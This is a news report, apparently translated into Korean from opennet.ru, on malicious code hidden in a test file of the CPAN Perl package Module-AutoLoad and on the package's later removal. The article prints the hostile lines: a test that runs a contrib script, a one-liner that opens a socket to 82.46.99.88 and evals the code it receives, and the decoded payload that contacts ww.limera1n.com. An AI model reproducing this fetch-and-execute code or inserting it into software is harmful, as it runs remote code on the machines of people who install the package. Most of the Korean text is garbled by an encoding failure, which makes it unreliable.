CPAN ๋๋ ํ ๋ฆฌ๋ฅผ ํตํด ๋ฐฐํฌ๋๋ Perl ํจํค์ง ๋ชจ๋-์๋ ๋ก๋, ์ฆ์์์ CPAN ๋ชจ๋์ ์๋์ผ๋ก ๋ก๋ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์๋ณ ์
์ฑ์ฝ๋. ์
์์ ์ธ ์ฝ์
์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. ๋
น์ด๋ค ํ
์คํธ ์ฝ๋์์ 05_rcx.t, 2011๋
๋ถํฐ ๋ฐฐ์ก๋์ด ์์ต๋๋ค.
์์ฌ์ค๋ฌ์ด ์ฝ๋๋ฅผ ๋ก๋ํ๋ ๊ฒ์ ๋ํ ์ง๋ฌธ์ด ๋ฐ์ํ ๊ฒ์ ์ฃผ๋ชฉํ ๋งํฉ๋๋ค. ์ ๋ 2016๋
์ ๋ค์.
์
์ฑ ํ๋์ ๋ชจ๋ ์ค์น ์ ์์๋ ํ
์คํธ ์ค์ํธ ์คํ ์ค์ ํ์ฌ ์๋ฒ(http://r.cx:1/)์์ ์ฝ๋๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์คํํ๋ ค๋ ์๋๋ก ์์ฝ๋ฉ๋๋ค. ์ฒ์์ ์ธ๋ถ ์๋ฒ์์ ๋ค์ด๋ก๋ํ ์ฝ๋๋ ์
์ฑ์ด ์๋ ๊ฒ์ผ๋ก ๊ฐ์ ํ์ง๋ง ์ด์ ์์ฒญ์ ์คํ์ ์ํ ์ฝ๋ ๋ถ๋ถ์ ์ ๊ณตํ๋ ww.limera1n.com ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋๋ ์
๋ฉ๋๋ค.
๋ค์ด๋ก๋๋ฅผ ํ์ผ๋ก ๊ตฌ์ฑํ๋ ค๋ฉด 05_rcx.t ๋ค์ ์ฝ๋๊ฐ ์ฌ์ฉ๋ฉ๋๋ค:
๋ด $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
๋ด $try = `$^X $prog`;
์ง์ ๋ ์ฝ๋๋ก ์ธํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ฉ๋๋ค. ../contrib/RCX.pl, ๊ทธ ๋ด์ฉ์ ๋ค์ ์ค๋ก ์ถ์๋ฉ๋๋ค.
lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1โณ}; ์ฌ์ฉ
์ด ์คํฌ๋ฆฝํธ๊ฐ ๋ก๋๋ฉ๋๋ค. ํผ๋์ค๋ฌ์ด ์๋น์ค๋ฅผ ์ด์ฉํ๋ค perlobfuscator.com ์ธ๋ถ ํธ์คํธ r.cx(๋ฌธ์ ์ฝ๋ 82.46.99.88์ ํ
์คํธ "R.cX"์ ํด๋น)์ ์ฝ๋๋ฅผ ๊ฐ์ ธ์ eval ๋ธ๋ก์์ ์คํํฉ๋๋ค.
$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1โณ; ์ธ์ <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DEโฆ.}
์์ถ์ ํ๋ฉด ์ต์ข
์ ์ผ๋ก ๋ค์์ด ์คํ๋ฉ๋๋ค. ์ํธ:
print{$b=new IO::Socket::INET"ww.limera1n.com:80โณ}"GET /iJailBreak
";ํ๊ฐ์๋ ๊ฒฝ๊ณ $@while$b;1์ ๋ฐํํฉ๋๋ค.
์ด์ ๋ฌธ์ ๊ฐ ์๋ ํจํค์ง๊ฐ ์ ์ฅ์์์ ์ ๊ฑฐ๋์์ต๋๋ค. PAUSE (Perl Authors Upload Server) ๋ฐ ๋ชจ๋ ์์ฑ์์ ๊ณ์ ์ด ์ฐจ๋จ๋ฉ๋๋ค. ์ด ๊ฒฝ์ฐ ๋ชจ๋์ ์ฌ์ ํ โโ๋จ์ ์์ต๋๋ค. ์ฌ์ฉํ ์์๋ค. MetaCPAN ์์นด์ด๋ธ์ ์์ผ๋ฉฐ cpanminus์ ๊ฐ์ ์ผ๋ถ ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ MetaCPAN์์ ์ง์ ์ค์นํ ์ ์์ต๋๋ค. ๋ช
์๋์ด์๋คํจํค์ง๊ฐ ๋๋ฆฌ ๋ฐฐํฌ๋์ง ์์๋ค๋ ๊ฒ์
๋๋ค.
ํ ๋ก ํ๊ธฐ์ ํฅ๋ฏธ๋กญ๋ค ์ฐ๊ฒฐ๋จ ๊ทธ๋ฆฌ๊ณ ๋ชจ๋ ์์ฑ์๋ ์์ ์ ์ฌ์ดํธ "r.cx"๊ฐ ํดํน๋ ํ ์
์ฑ ์ฝ๋๊ฐ ์ฝ์
๋์๋ค๋ ์ ๋ณด๋ฅผ ๋ถ์ธํ๊ณ ๋จ์ง ์ฌ๋ฏธ๋ก ๋ณธ ๊ฒ ๋ฟ์ด๋ผ๊ณ ์ค๋ช
ํ์ผ๋ฉฐ, ๋ฌด์ธ๊ฐ๋ฅผ ์จ๊ธฐ๊ธฐ ์ํด๊ฐ ์๋๋ผ ํฌ๊ธฐ๋ฅผ ์ค์ด๊ธฐ ์ํด perlobfuscator.com์ ์ฌ์ฉํ ๊ฒ์
๋๋ค. ์ฝ๋๋ฅผ ์์ฑํ๊ณ ํด๋ฆฝ๋ณด๋๋ฅผ ํตํด ๋ณต์ฌ๋ฅผ ๋จ์ํํฉ๋๋ค. ํจ์ ์ด๋ฆ "botstrap"์ ์ ํํ ์ด์ ๋ ์ด ๋จ์ด๊ฐ "bot์ฒ๋ผ ๋ค๋ฆฌ๊ณ bootstrap๋ณด๋ค ์งง๋ค"๋ ์ฌ์ค ๋๋ฌธ์
๋๋ค. ๋ํ ๋ชจ๋ ์์ฑ์๋ ์๋ณ๋ ์กฐ์์ด ์
์์ ์ธ ์์
์ ์ํํ์ง ์๊ณ TCP๋ฅผ ํตํ ์ฝ๋ ๋ก๋ ๋ฐ ์คํ๋ง์ ๋ณด์ฌ ์ค๋ค๊ณ ํ์ ํ์ต๋๋ค.
์ถ์ฒ : opennet.ru